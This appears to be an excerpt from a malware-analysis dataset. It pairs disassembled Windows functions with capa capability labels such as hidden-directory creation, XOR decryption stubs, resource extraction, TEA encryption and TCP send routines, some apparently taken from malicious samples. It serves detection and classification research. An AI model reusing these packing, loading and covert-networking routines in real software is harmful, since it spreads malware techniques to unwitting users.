joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], sym.4E4Iq2i_d_c6E_i_k_bm_ks4fxE_i_k_bm_ks8Euq
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d0f0
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call sym.4_d_sNrgd_wNrkk6p___6_q__Wq_6.__h___id_
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.sN___N_w_2__b84_2.jN__rkm8_u__2kk2bi
mov dword [esp + 4], 8
mov dword [esp], 4
call sym.4_d_sNrgd_wNrkk6p___6_q__Wq_6.__h___id_
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.sN___N_w_2__b84_2.jN__rkm8_u__2kk2bi
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.x
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call sym.6s_4__6_5_4654_46s4s_qu
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.C48_kmmk__.fT8
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.C48_kmmk__.fT8
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.faD_i_uu_Xq6Y_b6yT__k__O4.x_45
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call sym.faD_i_uu_Xq6Y_b6yT__k__O4.x_45
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d1d0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x4040d6
mov dword [0x4451d0], eax
mov edx, sym.d_Sd_Sa2_qs024Su__42p4Lmt_s__2_s_
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret

Function at 0x4041c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], sym.4E4Iq2i_d_c6E_i_k_bm_ks4fxE_i_k_bm_ks8Euq
mov dword [ebp - 0x24], 0x43c6d4
mov dword [ebp - 0x1c], 0x404280
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.0040d0f0
cmp dword [0x43d0f0], 0
mov dword [ebp - 0x44], 0x4451e0
je 0x404260
jl 0x4042a0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x4451d0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x404343
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4457f0]
mov eax, 0xffffffff
test edx, edx
je 0x4042ba
mov eax, dword [0x43d0f4]
test eax, eax
je 0x4042fa
xor eax, eax
test eax, eax
jne 0x4042f0
mov edi, dword [0x43d0f0]
test edi, edi
js 0x4042f0
mov dword [ebp - 0x44], 0x4451e0
mov ebx, dword [0x43d0f0]
test ebx, ebx
je 0x404260
jmp 0x40420e
xor esi, esi
mov dword [0x43d0f0], esi
jmp 0x4042c8
mov dword [esp], 0x43d0f8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.DLL_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x404381
mov eax, dword [0x43d0f4]
test eax, eax
jne 0x4042b8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43d0f4]
test eax, eax
je 0x40431d
jmp 0x4042b8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x404375
mov dword [esp + 4], eax
mov eax, dword [0x4451d0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x4043aa
test edx, edx
je 0x404395
mov dword [ebp - 0x3c], 1
call sym..__542__4..q04_8_g4__0022s
call sym.a2_qs024Su__42p4Lmt_s__2_s_J._prE
mov eax, 1
mov dword [0x43d0f4], eax
jmp 0x4042b8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x404256
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x404371
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.004099d0
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x409a3c
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x409a10
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call fcn.0040cc80
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym.mMGli4Fk0W4_d_sNrgd_wNrkk6p___6_q__
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0

Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x62da47
Capabilities:
Encode data using xor

Disassembly:
imul ecx, edi
push edi
push eax
or ecx, 0x373b77a0
test edx, ecx
inc ch
mov cl, 0x97
imul edi, edi, 0
mov dl, 0x80
xor edi, 0x378c
xor edi, 0x176
xchg ecx, ecx
xor bh, dh
inc ebx
test ah, dl
dec eax
mov ecx, edx
call 0x62da47
lea eax, [0xb2bc2bb7]
mov ch, 0x88
test dl, bl
imul esi, eax, 0xec9ed337
sub dh, bh
test cl, bh
lea ebp, [0x1baf]
mov edx, edi
xor ebp, 0xe27
pop edi
cmp eax, 0x260f
jo 0x62da55
dec ch
test dh, dh
mov ecx, ebp
cmp bl, dh
inc bl
sbb edx, 0x6b48f185
lea ebp, [0x33f2d727]
cmp dl, ah
inc ah
imul edx, ecx, 0x287d113a
lea ecx, [eax]
mov ebx, 0x8d08d5c
lea ebx, [0x7b625d3b]
lea edx, [0x8f13594]
mov ebp, ecx
mov esi, 0x75ff7165
inc ecx
mov edx, 0xd8278249
and ebp, 0
imul esi, ebp
xor ecx, 0x95de032b
sbb ecx, ecx
cmp bl, ch
lea esi, [0x369cb819]
imul eax, eax, 0xf4132e66
mov ebx, 0x688453bd
adc eax, 0x7420651f
add ebp, 0x553
sub edx, edx
sub ebp, 0x552
lea ebx, [0xbb50027c]
add al, 0x9b
mov al, bl
sub eax, 0xd3b4fc48
xchg cl, ch
imul ebx, ebx
mov dl, dh
cmp ebp, 0x204
jb 0x62da95
jb 0x62daef
inc eax
push 0x7e05d5
test eax, edi
lea ebx, [0xed21be58]
mov ecx, ebx
test eax, 0xc546525
test bl, 0xcf
and al, 0xb0
xchg bl, ah
add edi, 0x58f28
mov esi, esi
test ah, cl
add edi, 0x6b8
mov dh, 0x20
test ecx, edx
add eax, ebp
movzx edx, dx
sub edx, edx
mov ch, bl
mov ecx, 0x75718b07
imul ebp, edx, 0x9443ebc2
dec dl
and al, 9
jae 0x62db3d
xor ecx, edi
cmp ebx, ecx
adc al, 0xb7
mov cl, 0xa4
push 0x26eea0
xchg edx, ecx
test bh, 0x2d
inc ebx
push edi
imul esi, edi, 0xabe25022
inc ebx
and al, ah
xchg dh, bl
mov ecx, 0xcccfe6ff
sub ch, ah
sbb dh, 0x58
and ebx, edx
imul ecx, ebx, 0xbc1e257d
xor esi, esi
cmp ebp, 0x5c58
jbe 0x62db7c
test cl, 0x39
add esi, 0x9247
sub ecx, ecx
sub al, 0x1a
and eax, edx
add esi, 0x6ce7
adc ecx, eax
inc eax
and al, 0x32
xor ebp, esi
imul ecx, ebx
sub bh, bh
jae 0x62dba2
test al, cl
movzx edx, dl
ret
Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x10001020
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001051
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call fcn.100026e0
test al, al
je 0x10001051
push 0
push 0
push dword [ebp + 8]
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x1000469f
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.1000467b
pop esi
leave
ret 8
Function at 0x10006c80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10006c9b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10006cd2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x10006cce
jmp 0x10006cc0
cmp esi, eax
jae 0x10006cd2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10006cc0
cmp esi, eax
jb 0x10006cd9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x1000ec0d
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x70
push ebx
push ebp
push esi
push edi
push dword [0x101637a0]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push dword [0x101637a4]
xor ebx, ebx
mov dword [esp + 0x1c], eax
push ebx
push ebx

Function at 0x1000ec2e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x101637a4]
invalid
Function at 0x1000ec55
Capabilities:
Get file size
Read file on windows

Disassembly:
adc eax, sym.imp.KERNEL32.dll_GetModuleFileNameW
mov edx, dword [str.myrrh.rtf]
mov eax, ebx
cmp word [esi], bx
je 0x1000ec6e
pop es
inc eax
cmp word [esi + eax*2], bx
jne 0x1000ec67
push 0x5c
pop edi
jmp 0x1000ec7a
xor ecx, ecx
mov word [esi + eax*2], cx
dec eax
cmp word [esi + eax*2 - 2], di
jne 0x1000ec73
mov cl, byte [edx]
test cl, cl
je 0x1000ec9b
lea edi, [esi + eax*2]
movsx ax, cl
inc edx
mov word [edi], ax
lea edi, [edi + 2]
mov cl, byte [edx]
test cl, cl
jne 0x1000ec8a
lea eax, [esp + 0x3c]
push 0x44
push eax
call fcn.1000ebdb
lea eax, [esp + 0x34]
push 0x10
push eax
call fcn.1000ebdb
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 1
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1000ee2b
add byte [eax], al
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [0x101637b0]
mov esi, eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
adc dword [eax], edx
push dword [0x101637b0]
mov edi, eax
push edi
call fcn.1000ebdb
pop ecx
pop ecx
push ebx
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebx
push eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000ee2b
mov eax, dword [esp + 0x14]
add eax, edi
mov dword [esp + 0x1c], eax
mov eax, dword [0x10163794]
add edi, eax
mov ecx, dword [edi]
lea eax, [edi + 4]
mov edx, dword [eax]
add eax, 4
test ecx, ecx
je 0x1000ed4a
add dword [eax], edx
lea eax, [eax + 4]
sub ecx, 1
jne 0x1000ed40
mov eax, dword [0x101637c4]
add edi, eax
mov ebp, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [edi + 1]
push eax
push ebp
call esi
mov ebx, eax
test ebx, ebx
je 0x1000ee2b
movsx ecx, byte [edi]
add edi, ecx
lea ecx, [edi + 1]
push ecx
push ebp
call esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x1000ee2b
movsx ecx, byte [edi]
add edi, ecx
lea ecx, [edi + 1]
push ecx
call ebx
mov edx, eax
test edx, edx
je 0x1000ee2b
movsx ecx, byte [edi]
mov eax, dword [edx + 0x3c]
mov ebx, dword [edi + ecx + 8]
lea esi, [ecx + 0xc]
mov ebp, dword [edi + ecx + 4]
add esi, edi
mov edi, dword [eax + edx + 0x2c]
lea eax, [esp + 0x10]
and dword [esp + 0x10], 0
add edi, edx
push eax
push 0x40
push ebx
push edi
call dword [esp + 0x28]
push ebx
push esi
push edi
call fcn.1000eb9e
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push ebx
push edi
call dword [esp + 0x28]
mov eax, dword [str.birdhouse.raw]
xor ecx, ecx
add edi, ebp
cmp byte [eax], cl
je 0x1000ee09
mov edx, dword [esp + 0x1c]
mov eax, dword [str.birdhouse.raw]
movsx ax, byte [eax + ecx]
mov word [edx + ecx*2], ax
inc ecx
mov eax, dword [str.birdhouse.raw]
cmp byte [eax + ecx], 0
jne 0x1000edef
mov eax, dword [esp + 0x1c]
xor edx, edx
mov word [eax + ecx*2], dx
mov dword [esp + 0x24], eax
lea eax, [ebx + esi]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x2c], 1
and al, 0x2c
add edi, edi
xlatb
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret
Function at 0x100165fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x10016645
call fcn.1000cb56
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x10016645
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x10016661
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.100160fe
mov esi, eax
test edi, edi
je 0x1001665f
test ebx, ebx
je 0x1001665f
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10016a40
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x101155ad
call fcn.100fa3d4
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x10016a65
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x10016ab7
call fcn.1000dd4c
push eax
lea ecx, [ebp - 0x10]
call fcn.10006c50
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100fa5eb
push eax
call fcn.10006d30
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.10005a00
mov eax, esi
call fcn.100fa4ac
ret 8

Function at 0x10018136
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.10017dda
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x10018180
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.1000d031
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.1000d002
jmp 0x1001818b
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.10016abf
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x401010
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x418af0]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x401030
xor edx, edx
lea esi, [edx + 0x10]
nop dword [eax]
mov ecx, ebx
lea edx, [edx - 0x61c88647]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x401050
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4010b0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x418af0]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x4010d0
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x4010f2
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402150
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x417008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x418aec]
push esi
mov esi, ecx
test eax, eax
je 0x40217d
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x418aec], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x418aec], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov eax, dword [0x418ae0]
mov dword [ebp - 0x10], eax
movzx eax, word [0x418ae4]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x418aec]
call dword [sym.imp.WS2_32.dll_connect]
push 0x23
push 0x8001
push esi
push dword [0x418aec]
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00403f80
mov esp, ebp
pop ebp
ret

Function at 0x4021f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
movzx eax, bx
movzx esi, ax
push edi
add esi, 0x10
mov dword [ebp - 4], edx
push esi
mov dword [ebp + 8], eax
call fcn.0040796e
mov edi, eax
add esp, 4
test edi, edi
je 0x402339
push 1
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0xffffffffffffffff
mov word [edi + 2], ax
call dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov dword [edi + 4], eax
mov word [edi + 8], 1
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi + 0xa], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0xc], ax
mov eax, dword [ebp + 8]
add eax, 2
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
push ebx
push dword [ebp - 4]
mov word [edi + 0xe], ax
lea eax, [edi + 0x10]
push eax
call fcn.00406a10
lea edx, [esi + 0xa]
mov ecx, 8
mov eax, edx
and eax, 7
sub ecx, eax
test eax, eax
cmove ecx, eax
lea eax, [ecx + edx]
mov dword [ebp + 8], eax
add eax, 0x12
push eax
call fcn.0040796e
mov ebx, eax
add esp, 0x10
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x402339
lea eax, [ebp + 8]
mov edx, esi
push eax
lea ecx, [ebx + 0x12]
push ecx
push ecx
mov ecx, edi
call fcn.00401150
mov esi, dword [ebp + 8]
push edi
add esi, 0x12
call fcn.00407746
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_htonl]
push 0x74
mov dword [ebx], eax
call dword [sym.imp.WS2_32.dll_ntohs]
push 0
mov word [ebx + 4], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov word [ebx + 6], ax
call edi
push 0
mov dword [ebx + 8], eax
call edi
mov dword [ebx + 0xc], eax
mov edi, ebx
mov word [ebx + 0x10], 1
test esi, esi
jle 0x402330
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0
push esi
push edi
push dword [0x418aec]
call ebx
test eax, eax
jle 0x40232d
sub esi, eax
add edi, eax
test esi, esi
jg 0x402315
mov ebx, dword [ebp - 4]
push ebx
call fcn.00407746
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
